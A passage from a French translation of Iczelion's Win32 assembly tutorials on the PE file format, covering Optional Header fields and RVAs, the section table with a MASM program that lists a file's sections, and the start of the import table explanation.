Pour vous rafraîchir la mémoire, l'Optional header est une des structures du IMAGE_NT_HEADERS c'est son dernier membre. Il contient des informations sur la disposition (constuction) logique du PE File. Cette structure possède 31 paramètres. Quelques-uns d'entre eux sont cruciaux, par contre d'autres ne sont pas utiles. J'expliquerai seulement les paramètres qui sont vraiment utiles pour nous.

Il y a un mot qui est fréquemment employé en rapport avec le format du PE file : c'est le RVA
RVA (relative virtual address) est le diminutif de 'l'adresse virtuelle relative'. Vous savez ce qu'est une adresse virtuelle. Le RVA est un terme qui sert à simplifier le concept. Simplement, le RVA est une distance par rapport à un point de référence dans l'espace d'adresses virtuelles. Je parie que vous êtes familiers avec les offsets d'un fichier: le RVA c'est exactement la même chose que pour les offsets (les offsets ont pour référence le segments où ils se trouvent). Cependant, le RVA est référencé par rapport à un point de l'espace d'adresses virtuelles, et non pas par rapport à un fichier. Je vais vous montrer un exemple. Si le PE file se charge à l'adresse 00400000h dans l'espace d'adresses virtuelles (VA) et que le programme commence son exécution à l'adresse virtuelle 00401000h, alors nous pouvons dire que le programme commence son exécution à un RVA de 1000h. UN RVA est pris par rapport au départ VA du programme.
L'espace d'adresses virtuelles (VA) (00400000h) est pris comme point d'origine (0) où est stocké votre programme, mais son code d'exécution ne commence qu'en 00401000h et le RVA est la distance entre les deux.
Pourquoi le PE file utilise-t-il le RVA ? C'est pour réduire le travail du PE Loader. Puisque un module (un programme ou une DLL) peut être transféré n'importe où dans l'espace d'adresses virtuelles, ce serait un véritable enfer pour le PE Loader de retrouver chaque variable réadressable dans le programme. Au contraire, si toutes les variables réadressables dans le fichier utilisent le RVA, le PE Loader n'a aucun besoin de convertir quoi que ce soit : il transfère simplement le programme en entier vers un nouveau VA de départ. C'est un peu comme le concept de chemin relatif et de chemin absolu : le RVA est apparenté au chemin relatif, et le VA représente le chemin absolu.

Paramètres | Signification
AddressOfEntryPoint | est l'adresse de la première instruction qui sera exécutée. Si vous voulez que votre programme commence à une autre adresse, vous avez besoin de changer la valeur de ce paramètre.
ImageBase | est l'adresse de chargement préférentielle pour charger le PE file. Par exemple, si la valeur dans ce paramètre est 400000h, le PE Loader essayera de charger le fichier dans l'espace d'adresses virtuelles commençant à 400000h. Le mot "préférentielle" signifie que le PE Loader ne peut pas charger le fichier à cette adresse si d'autres programmes occupent déjà cette zone d'adresses.
SectionAlignment | représente l'alignement des sections en mémoire. Par exemple, si la valeur de ce paramètre est 1000h (4096), chaque section doit commencer à un multiples de 4096 octets. Si la première section commence à l'adresse 401000h et qu'elle a un taille de 10 octets seulement, alors la section suivante doit quand même commencer à 402000h, même si l'espace d'adresse entre 401000ème et 402000ème n'est pas entièrement inutilisée.
FileAlignment | représente l'alignement des sections dans le fichier. Par exemple, si la valeur dans ce paramètre est 200h (512), chaque section doit commencer à un multiples de 512 octets. Si la première section est à l'offset(de fichier) 200h et que la taille est de 10 octets, alors la section suivante doit être placée à l'offset(de fichier) 400h : l'espace entre les offsets(de fichier) 512 et 1024 est inutilisé/ou non défini.
MajorSubsystemVersion MinorSubsystemVersion | est la version de votre sous-système win32. Si le PE file est conçu pour une plate-forme Win32, la version du sous-système doit être 4.0.
SizeOfImage | est la taille complète que le PE prend en mémoire. C'est la somme de tous les Headers et de toutes les sections qui sont regroupés dans SectionAlignment.
SizeOfHeaders | est la taille de toutes les headers tables + sections tables . Bref, cette valeur est égale à la taille du fichier moins la taille combinée de toutes les sections dans le fichier. Vous pouvez aussi employer cette valeur comme étant l'offset(de fichier) de la première section du PE file.
Subsystem | dit pour quel sous-système NT le PE file est destiné. Pour la plupart des progs win32, seuls deux valeurs sont utilisées : le GUI Windows et le CUI Windows.
DataDirectory | est un tableau de structures appartenant à IMAGE_DATA_DIRECTORY. Chaque structure donne le RVA d'une structure de données importante du PE file comme l'adresse de la table des importations.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's PE Tutorial 5: Section Table

Tutorial 5: Table des Sections
(Section Table)

Downloadez l'exemple.

Théorie:

Jusqu'à maintenant, nous avons vu le DOS header, et le PE header. Ce qui reste c'est la table des sections. Une table des sections est en réalité un tableau regroupant plusieurs structures, ce tableau se trouve immédiatement à la suite du PE header. Le nombre de membres du tableau est déterminé par le paramètre NumberOfSections du File Header (IMAGE_FILE_HEADER). Cette structure (la Table des Sections) est appelée IMAGE_SECTION_HEADER.

IMAGE_SIZEOF_SHORT_NAME equ 8

IMAGE_SECTION_HEADER STRUCT
Name1 db IMAGE_SIZEOF_SHORT_NAME dup(?)
union Misc
PhysicalAddress dd ?
VirtualSize dd ?
ends
VirtualAddress dd ?
SizeOfRawData dd ?
PointerToRawData dd ?
PointerToRelocations dd ?
PointerToLinenumbers dd ?
NumberOfRelocations dw ?
NumberOfLinenumbers dw ?
Characteristics dd ?
IMAGE_SECTION_HEADER ENDS

Une fois encore, tous les membres ne sont pas utiles. Je décrirai seulement ceux qui sont vraiment importants.

Paramètres | Signification
Name1 | En réalité le nom de ce paramètre est "name" mais le mot "name" est un mot-clé de MASM donc nous devons utiliser "Name1" à la place. Ce membre contient le nom de la section. Notez que la longueur maximale est de 8 octets. Le nom n'est qu'un label, rien plus. Vous pouvez employer n'importe quel nom ou laisser même ce paramètre vide. Notez qu'il n'y a aucun besoin d'un NULL de terminaison. Ce nom n'est pas une chaîne de caractères ASCIIZ donc ne vous attendez pas à ce qu'il se termine par un null.
VirtualAddress | est le RVA de la section. Le PE Loader examine et emploie la valeur de ce paramètre lorsqu'il Mappe la section en mémoire. Ainsi si la valeur dans ce paramètre est 1000h et que le PE file à été chargé à partir de l'adresse 400000h, alors la section en question sera chargée à partir de 401000h.
SizeOfRawData | représente la taille des données de la section arrondies au multiple suivant de l'alignement de fichiers. Le PE Loader examine la valeur dans ce paramètre, il sait ainsi combien d'octets de la section doivent êtres mappés en mémoire.
PointerToRawData | est l'offset(de fichier) où commence la section. Le PE Loader utilise la valeur de ce paramètre pour retrouver où les données de la section sont placées dans le fichier.
Characteristics | contient des flags de la même façon que si cette section contenait du code exécutable, des données initialisées, des données non initialisées, ils peuvent être accessible en écriture aussi bien qu'en lecture.

Maintenant que nous connaissons la structure IMAGE_SECTION_HEADER, on va voir comment nous pouvons simuler le travail du PE loader :

  1. On lit la valeur de NumberOfSections dans l'IMAGE_FILE_HEADER, ainsi on sait combien de sections sont présente dans le fichier.
  2. Utilisez la valeur de SizeOfHeaders en tant qu'offset(de fichier) de la table des sections et déplacez le pointer de fichier sur cet offset.
  3. Promenez-vous à l'intérieur du tableau des structures, en examinant chaque membre.
  4. Pour chaque structure, nous obtenons la valeur dans PointerToRawData et nous déplaçons le pointer de fichier sur cet offset. Ensuite nous lisons la valeur dans SizeOfRawData et comme ça on sait combien d'octets on doit mapper en mémoire. On lit la valeur dans VirtualAddress et on y ajoute la valeur de l'ImageBase pour obtenir l'adresse virtuelle à laquelle la section doit commencer. Maintenant nous sommes prêts à mapper la section en mémoire et à donner ses attributs (à cette section) en mémoire d'après les flags contenus dans Characteristics.

Notez qu'on ne s'est pas servit du nom de la section : ce n'est pas vraiment nécessaire.

Exemple:

Cet exemple ouvre un PE file (un fichier Win32 exécutable) et se balade dans sa table des sections, il affiche les informations à propos de ses sections dans un 'listview control' (un objet prédéterminé par Windows (ici une simple page de listes de noms, de tailles, caractéristiques...)).

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

IDD_SECTIONTABLE equ 104
IDC_SECTIONLIST equ 1001

SEH struct
PrevLink dd ? ; adresse de la structure SEH ci-dessus
CurrentHandler dd ? ; adresse du nouvel 'exception handler'
SafeOffset dd ? ; endroit où est sauvegardé l'offset pour continuer l'exécution
PrevEsp dd ? ; l'ancienne valeur dans 'esp'
PrevEbp dd ? ; ancienne valeur dans 'ebp'
SEH ends

.data
AppName db "PE tutorial no.5",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
             db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
FileInValidPE db "This file is not a valid PE",0
template db "%08lx",0
SectionName db "Section",0
VirtualSize db "V.Size",0
VirtualAddress db "V.Address",0
SizeOfRawData db "Raw Size",0
RawOffset db "Raw Offset",0
Characteristics db "Characteristics",0

.data?
hInstance dd ?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?
NumberOfSections dd ?

.code
start proc
LOCAL seh:SEH
   invoke GetModuleHandle,NULL
   mov hInstance,eax
   mov ofn.lStructSize,SIZEOF ofn
   mov ofn.lpstrFilter, OFFSET FilterString
   mov ofn.lpstrFile, OFFSET buffer
   mov ofn.nMaxFile,512
   mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
   invoke GetOpenFileName, ADDR ofn
   .if eax==TRUE
      invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
      .if eax!=INVALID_HANDLE_VALUE
         mov hFile, eax
         invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
         .if eax!=NULL
            mov hMapping, eax
            invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
            .if eax!=NULL
               mov pMapping,eax
               assume fs:nothing
               push fs:[0]
               pop seh.PrevLink
               mov seh.CurrentHandler,offset SEHHandler
               mov seh.SafeOffset,offset FinalExit
               lea eax,seh
               mov fs:[0], eax
               mov seh.PrevEsp,esp
               mov seh.PrevEbp,ebp
               mov edi, pMapping
               assume edi:ptr IMAGE_DOS_HEADER
               .if [edi].e_magic==IMAGE_DOS_SIGNATURE
                  add edi, [edi].e_lfanew
                  assume edi:ptr IMAGE_NT_HEADERS
                  .if [edi].Signature==IMAGE_NT_SIGNATURE
                     mov ValidPE, TRUE
                  .else
                     mov ValidPE, FALSE
                  .endif
               .else
                  mov ValidPE,FALSE
               .endif
FinalExit:
               push seh.PrevLink
               pop fs:[0]
               .if ValidPE==TRUE
                  call ShowSectionInfo
               .else
                  invoke MessageBox, 0, addr FileInValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
               .endif
               invoke UnmapViewOfFile, pMapping
           .else
               invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
          .endif
          invoke CloseHandle,hMapping
       .else
          invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
       .endif
       invoke CloseHandle, hFile
    .else
       invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
    .endif
  .endif
  invoke ExitProcess, 0
  invoke InitCommonControls
start endp

SEHHandler proc C uses pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
   mov edx,pFrame
   assume edx:ptr SEH
   mov eax,pContext
   assume eax:ptr CONTEXT
   push [edx].SafeOffset
   pop [eax].regEip
   push [edx].PrevEsp
   pop [eax].regEsp
   push [edx].PrevEbp
   pop [eax].regEbp
   mov ValidPE, FALSE
   mov eax,ExceptionContinueExecution
   ret
SEHHandler endp

DlgProc proc uses edi esi hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
   LOCAL lvc:LV_COLUMN
   LOCAL lvi:LV_ITEM
   .if uMsg==WM_INITDIALOG
      mov esi, lParam
      mov lvc.imask,LVCF_FMT or LVCF_TEXT or LVCF_WIDTH or LVCF_SUBITEM
      mov lvc.fmt,LVCFMT_LEFT
      mov lvc.lx,80
      mov lvc.iSubItem,0
      mov lvc.pszText,offset SectionName
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,0,addr lvc inc lvc.iSubItem
      mov lvc.fmt,LVCFMT_RIGHT
      mov lvc.pszText,offset VirtualSize
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,1,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset VirtualAddress
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,2,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset SizeOfRawData
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,3,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset RawOffset
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,4,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset Characteristics
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,5,addr lvc
      mov ax, NumberOfSections
      movzx eax,ax
      mov edi,eax
      mov lvi.imask,LVIF_TEXT
      mov lvi.iItem,0
      assume esi:ptr IMAGE_SECTION_HEADER
      .while edi>0
         mov lvi.iSubItem,0
         invoke RtlZeroMemory,addr buffer,9
         invoke lstrcpyn,addr buffer,addr [esi].Name1,8
         lea eax,buffer
         mov lvi.pszText,eax
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].Misc.VirtualSize
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].VirtualAddress
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].SizeOfRawData
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].PointerToRawData
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].Characteristics
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         inc lvi.iItem
         dec edi
         add esi, sizeof IMAGE_SECTION_HEADER
      .endw
   .elseif
      uMsg==WM_CLOSE
         invoke EndDialog,hDlg,NULL
   .else
      mov eax,FALSE
      ret
   .endif
   mov eax,TRUE
   ret
DlgProc endp

ShowSectionInfo proc uses edi
   mov edi, pMapping
   assume edi:ptr IMAGE_DOS_HEADER
   add edi, [edi].e_lfanew
   assume edi:ptr IMAGE_NT_HEADERS
   mov ax,[edi].FileHeader.NumberOfSections
   movzx eax,ax
   mov NumberOfSections,eax
   add edi,sizeof IMAGE_NT_HEADERS
   invoke DialogBoxParam, hInstance, IDD_SECTIONTABLE,NULL, addr DlgProc, edi
   ret
ShowSectionInfo endp
end start

Analyse:

Cet exemple réutilise le code de l'exemple du Tutorial 2. Après qu'il vérifie que le fichier soit bien un PE valide, il appelle une fonction, ShowSectionInfo.

ShowSectionInfo proc uses edi
   mov edi, pMapping
   assume edi:ptr IMAGE_DOS_HEADER
   add edi, [edi].e_lfanew
   assume edi:ptr IMAGE_NT_HEADERS

Nous nous servons d'edi en tant que pointer de données dans le PE file. D'abord, nous l'initialisons à la valeur 'pMapping' lequel est l'adresse du DOS header. Ensuite nous lui ajoutons la valeur d'e_lfanew, de cette façon il contient maintenant l'adresse du PE header.

   mov ax,[edi].FileHeader.NumberOfSections
   mov NumberOfSections,ax

Puisque nous avons besoin de la table des sections, il nous faut obtenir le nombre de sections dans le fichier. C'est la valeur du membre NumberOfSections du File header. N'oubliez pas que ce membre est d'une taille d'un WORD.

   add edi,sizeof IMAGE_NT_HEADERS

edi contient actuellement l'adresse du PE header. L'addition de la taille du PE header à l'adresse de début du PE Header, fera qu'on pointera sur la table des sections.

   invoke DialogBoxParam, hInstance, IDD_SECTIONTABLE,NULL, addr DlgProc, edi

On appelle DialogBoxParam pour afficher la boîte de dialogue contenant le 'listview control'. Remarquez que nous passons l'adresse de la table des sections en tant que son dernier paramètre. Cette valeur sera disponible dans lParam pendant le message WM_INITDIALOG.

Dans la procédure servant à traiter les messages de la DialogBox, en réponse au message WM_INITDIALOG, nous stockons la valeur d'lParam (l'adresse de la table des sections) dans esi, le nombre de sections dans edi et ensuite on crée le 'listview control'. Quand tout est prêt, nous entrons dans une boucle qui insérera les renseignements de chaque section dans le 'listview control'. Cette partie est très simple.

      .while edi>0
         mov lvi.iSubItem,0

Met cette chaîne de caractères dans la première colonne.

         invoke RtlZeroMemory,addr buffer,9
         invoke lstrcpyn,addr buffer,addr [esi].Name1,8
         lea eax,buffer
         mov lvi.pszText,eax

Nous affichons le nom de la section, mais nous devons d'abord la convertir en une chaîne de caractères ASCIIZ.

         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTITEM,0,addr lvi

Ainsi nous l'affichons dans la première colonne.
Nous continuons avec ce schéma tant que la dernière valeur que nous souhaitons montrer concernant cette section soit affichée. Ensuite nous devons nous déplacer jusqu'à la structure suivante.

         dec edi
         add esi, sizeof IMAGE_SECTION_HEADER
      .endw

On fait décroître la valeur dans edi à chaque fois qu'une section à été traitée. Et nous ajoutons la taille d'IMAGE_SECTION_HEADER à esi, ainsi il contient l'adresse de la structure IMAGE_SECTION_HEADER suivante.

Les étapes de notre petite balade dans la table des sections sont les suivantes:

  1. On vérifie que le fichier est un PE valide
  2. On se place au début du PE header
  3. On récupère le nombre de sections grâce au paramètre NumberOfSections dans le File header.
  4. On arrive à la table des sections soit en ajoutant ImageBase et SizeOfHeaders soit en ajoutant l'adresse du PE header et la taille du PE header. (La table des sections suit immédiatement le PE header). Si vous n'utilisez pas le procédé de 'File Mapping', vous devez déplacer le pointer de fichier sur la table des sections en employant SetFilePointer. L'offset(de fichier) de la table des sections est dans SizeOfHeaders.(SizeOfHeaders est un membre d'IMAGE_OPTIONAL_HEADER)
  5. On épie chaque structure IMAGE_SECTION_HEADER.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's PE Tutorial 6: Import Table

Tutorial 6: La Table des Importations
(Import Table)

Dans ce Tutorial nous allons voir la table des importations. Laissez-moi vous avertir d'abord, ce Tutorial est long et difficile pour ceux qui ne connaissent rien à la table des importations. Il y a des chances que vous deviez relire ce Tutorial plusieurs fois et deviez même examiner les structures relatives aux debuggers.

Downloadez l'exemple.

Théorie:

Tout d'abord, vous devez savoir ce qu'est une fonction d'importation. Une fonction d'importation est une fonction qui n'est pas directement dans le programme, mais est appelée par le programme, d'où le nom "import". Les fonctions d'importation résident en réalité dans une ou plusieurs DLLs. Seules les informations à propos de ces fonctions sont contenue dans le programme qui fait appel à la DLL dans laquelle est contenue le fonction d'importation. Ces informations sont entre autres le nom de chaque fonction et le nom de la (ou les) DLL(s) dans lesquels elles ont été placées.
Maintenant comment pouvons-nous découvrir à quel endroit dans le PE file (le programme) se situent ces informations ? Nous devons nous tourner vers le Répertoire des Données pour trouver la réponse. Je vous rafraîchi un peu la mémoire. Ci-dessous le PE header :

IMAGE_NT_HEADERS STRUCT
   Signature dd ?
   FileHeader IMAGE_FILE_HEADER <>
   OptionalHeader IMAGE_OPTIONAL_HEADER <>
IMAGE_NT_HEADERS ENDS

Le dernier membre de l'Optional header est le répertoire des données:

IMAGE_OPTIONAL_HEADER32 STRUCT
   ....
   LoaderFlags dd ?
   NumberOfRvaAndSizes dd ?
   DataDirectory IMAGE_DATA_DIRECTORY 16 dup(<>)
IMAGE_OPTIONAL_HEADER32 ENDS

Le 'répertoire des données' est un tableau, ce tableau est en faite une structure du nom d'IMAGE_DATA_DIRECTORY. Elle possède 16 membres (ou paramètres). Si vous vous rappelez de la table des sections qu'on avait comparés à un répertoire racine pour les sections du PE file, et bien vous pouvez de la même manière comparer le 'répertoire des données' à un répertoire racine des composants logiques stockés à l'intérieur de ces sections. Pour être plus précis, le 'répertoire des données' contient les emplacements et les tailles des structures de données importantes à l'intérieur du PE file. Chaque membre contient des informations sur une structure de données importante.

Membre | Info qu'il contient
0 | Export symbols
1 | Import symbols
2 | Resources
3 | Exception
4 | Security
5 | Base relocation
6 | Debug
7 | Copyright string
8 | Unknown
9 | Thread local storage (TLS)
10 | Load configuration
11 | Bound Import
12 | Import Address Table
13 | Delay Import
14 | COM descriptor

Je n'ai des connaissances qu'uniquement sur les membres surlignés. Maintenant que vous connaissez ce que contient chaque membre du 'répertoire des données', nous pouvons regarder en détail le membre. Chaque membre du 'répertoire des données' est une structure appelée IMAGE_DATA_DIRECTORY laquelle est défie comme suit :

IMAGE_DATA_DIRECTORY STRUCT
  VirtualAddress dd ?
  isize dd ?
IMAGE_DATA_DIRECTORY ENDS

VirtualAddress est en réalité l'adresse relative virtuelle (RVA) de la structure de données (Data Structure). Par exemple, si cette structure est destinée aux Symboles d'Importation, alors ce membre contient le RVA du tableau IMAGE_IMPORT_DESCRIPTOR.
isize contient la taille en octets de la structure de données mentionnée par VirtualAddress .

Voici l'arrangement général des différentes structures de données importantes dans un PE file:

  1. A partir du DOS header, vous allez au PE header
  2. Récupérez l'adresse du 'Répertoire des Données' dans l'Optional Header.
  3. Multipliez la taille d'IMAGE_DATA_DIRECTORY par l'index du membre que vous voulez : par exemple si vous voulez savoir où les symboles d'importation se situent, vous devez multiplier la taille d'IMAGE_DATA_DIRECTORY (8 octets) par 1.
  4. Ajoutez le résultat à l'adresse du 'Répertoire des données' et vous obtenez ainsi l'adresse de la structure IMAGE_DATA_DIRECTORY qui contient les renseignements sur la 'structure de données' désirée.

Maintenant on arrête de jouer, on va pouvoir vraiment discuter de la table des importations. L'adresse de la table des importations est contenue dans le membre (paramètre) VirtualAddress du deuxième membre du Répertoire des Données. La table des importations est en réalité un tableau contenant plusieures structures IMAGE_IMPORT_DESCRIPTOR. Chaque structure contient des informations sur une DLL dont le PE File importe ses symboles. Par exemple, si le PE File importe 10 fonctions appartenant à 10 DLLs différentes, alors nous retrouverons 10 membres dans ce tableau. Le dernier membre de ce tableau qui sert à terminé le tableau ne contient que des zéros. Maintenant nous pouvons examiner la structure en détail :

IMAGE_IMPORT_DESCRIPTOR STRUCT
  union
    Characteristics dd ?
    OriginalFirstThunk dd ?
  ends
  TimeDateStamp dd ?
  ForwarderChain dd ?
  Name1 dd ?
  FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS

Le premier membre de cette structure est une union. En réalité, l'union fournit seulement le pseudonyme d'OriginalFirstThunk, de cette façon vous pouvez appeler "Characteristics". Ce membre contient le RVA d'un tableau contenant des structures IMAGE_THUNK_DATA.
Qu'est-ce que IMAGE_THUNK_DATA ? C'est une union de taille dword. D'habitude, nous l'interprétons comme le pointer portant sur une structure IMAGE_IMPORT_BY_NAME. Remarquez qu'IMAGE_THUNK_DATA contient le pointer qui est sur une structure IMAGE_IMPORT_BY_NAME : et non pas sur la structure elle-même.
Regardez sa logique : Il y a plusieurs structures IMAGE_IMPORT_BY_NAME. Nous rassemblons dans un tableau le RVA de ces structures (IMAGE_THUNK_DATAs), et le terminons avec un 0. Ensuite nous mettons le RVA du tableau (lui-même) dans OriginalFirstThunk.
La structure IMAGE_IMPORT_BY_NAME contient les informations à propos d'une fonction d'importation. Maintenant regardons à quoi ressemble la structure IMAGE_IMPORT_BY_NAME:

IMAGE_IMPORT_BY_NAME STRUCT
  Hint dw ?
  Name1 db ?
IMAGE_IMPORT_BY_NAME ENDS

Hint contient l'index de la fonction, cet index réside dans 'la table d'exportations de la DLL'. Ce membre sert uniquement à l'utilisation du PE Loader. Ainsi le PE Loader peut rapidement retrouver la fonction à partir de la table d'exportation de la DLL. Ce n'est pas une valeur essentielle et il se peut même que certains linkers mette la valeur de ce paramètre à 0.
Name1 contient le nom de la fonction d'importation. Le nom est une chaîne de caractères ASCIIZ. Notez que la taille de Name1 est par défaut d'un octet mais en réalité c'est un paramètre de taille variable. C'est juste qu'il n'y a aucune façon de représenter un paramètre de taille variable dans une structure. Cette structure nous est gracieusement fournit, ainsi nous pouvons nous référer à la 'Structure de Données' avec des noms en guise de descriptifs.

TimeDateStamp et ForwarderChain sont des machins avancés : Nous parlerons d'eux une foie que vous aurez bien pris la main avec les autres membres.

Name1 contient le RVA du nom de la DLL, bref, le pointer qui est sur le nom de la DLL. C'est une chaîne de caractères ASCIIZ.

FirstThunk est très semblable à OriginalFirstThunk, c'est-à-dire. Il contient le RVA d'un tableau contenant des structures IMAGE_THUNK_DATA (bien qu'en fait c'est un tableau différent).
Ok, si vous êtes encore embrouillés, regardez ça : Il y a plusieurs structures IMAGE_IMPORT_BY_NAME. Vous créez deux tableaux, les remplissez ensuite avec les RVAs de ces structures IMAGE_IMPORT_BY_NAME, donc les deux tableaux contiennent exactement les mêmes valeurs (c'est-à-dire des duplicatas exactes). Maintenant vous assignez le RVA du premier tableau à OriginalFirstThunk et le RVA du deuxième tableau à FirstThunk .

OriginalFirstThunk IMAGE_IMPORT_BY_NAME FirstThunk

|

|
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
...
IMAGE_THUNK_DATA
--->
--->
--->
--->
--->
--->
Fonction 1
Fonction 2
Fonction 3
Fonction 4
...
Fonction n
<---
<---
<---
<---
<---
<---
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
...
IMAGE_THUNK_DATA

Maintenant vous devez être capables de comprendre ce que je veux dire. Ne soyez pas intimidé par le nom IMAGE_THUNK_DATA : c'est seulement un RVA dans la structure IMAGE_IMPORT_BY_NAME. Si vous remplacez le mot IMAGE_THUNK_DATA par RVA dans votre esprit, ça vous semblera peut-être plus clairement. Le nombre d'éléments dans les tableaux OriginalFirstThunk et FirstThunk dépend des Fonctions que le PE file importe de la DLL. Par exemple, si le PE file importe 10 Fonctions de kernel32.DLL, alors Name1 appartenant à la structure IMAGE_IMPORT_DESCRIPTOR contiendra le RVA de la chaîne de caractères "kernel32.DLL" et il y aura 10 IMAGE_THUNK_DATAs dans chaque tableau.
La question suivante c'est : pourquoi avons-nous besoin de deux tableaux qui sont identiques trait pour trait ? En réponse à cette question, une fois que le PE file est chargé en mémoire nous avons besoin de savoir ce qu'il regardera dans les IMAGE_THUNK_DATAs et IMAGE_IMPORT_BY_NAMEs, il déterminera les adresses des Fonctions d'importation. Ainsi il remplace les IMAGE_THUNK_DATAs dans le tableau indiqué par FirstThunk avec les adresses réelles des Fonctions. Ainsi lorsque le PE file est prêt à être exécuté, la susdite image est déjà modifiée :

OriginalFirstThunk IMAGE_IMPORT_BY_NAME FirstThunk

|

|
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
...
IMAGE_THUNK_DATA
--->
--->
--->
--->
--->
--->
Fonction 1
Fonction 2
Fonction 3
Fonction 4
...
Fonction n
Adresse de la Fonction 1
Adresse de la Fonction 2
Adresse de la Fonction 3
Adresse de la Fonction 4
...
Adresse de la Fonction n

Le tableau des RVAs indiqué par OriginalFirstThunk reste inchangé pour que si le besoin s'en fasse sentir il soit possible de retrouver les noms des fonctions importées, le PE loader peut toujours les retrouver.
Il y a une petite entorse à ce schéma *simple et directe*. Certaines fonctions sont uniquement exportées suivant un ordre. Ça signifie que vous n'appelez pas les fonctions par leurs noms : vous les appelez par leurs positions. Dans ce cas, il n'y aura aucune structure IMAGE_IMPORT_BY_NAME pour ces fonctions dans le 'module Caller' (le programme principale qui fait appelle à une DLL pour se servir de ses fonctions (en les important)). Au lieu de ça, l'IMAGE_THUNK_DATA pour cette fonction contiendra le n° de position de la fonction dans le WORD de poids faible et le 'bit de poids fort' (MSB ou the most significant bit) d'IMAGE_THUNK_DATA sera mis à 1. Par exemple, si une fonction est exportée uniquement par ordre et que son n° est 1234h, l'IMAGE_THUNK_DATA pour cette fonction sera 80001234h. Microsoft fournit une constante très pratique pour tester l'état du MSB d'un dword, IMAGE_ORDINAL_FLAG32. Sa valeur est de 80000000h. (=poids fort à 1)
Supposons que nous voulons inscrire les noms de TOUTES les fonctions d'importation du PE file, nous avons besoin de suivre les étapes ci-dessous :

  1. On vérifie que le fichier est un PE File valide
  2. A partir du DOS header, on va au PE header
  3. On récupère l'adresse du Répertoire des Données présent dans l'OptionalHeader
  4. On passe au 2e member du Répertoire des Données. Et on extrait la valeur de VirtualAddress
  5. On se sert de cette valeur pour aller à la première structure IMAGE_IMPORT_DESCRIPTOR
  6. On vérifie la valeur d'OriginalFirstThunk. S'il n'est pas à zéro, on passe au RVA suivant d'OriginalFirstThunk dans le tableau de RVA. Si OriginalFirstThunk est nul (zéro), on utilise la valeur dans FirstThunk à sa place. Certains linkers génèrent des PE File avec 0 dans OriginalFirstThunk. C'est considéré comme un bogue(défaut). Juste pour rester sur le droit chemin, nous vérifions d'abord la valeur dans OriginalFirstThunk.
  7. Pour chaque membre du tableau, nous comparons la valeur de ce membre avec IMAGE_ORDINAL_FLAG32. Si le MSB de ce membre est a 1, alors la fonction est exportée par ordre et nous pouvons extraire le numéro d'ordre à partir du WORD de poids faible du membre.
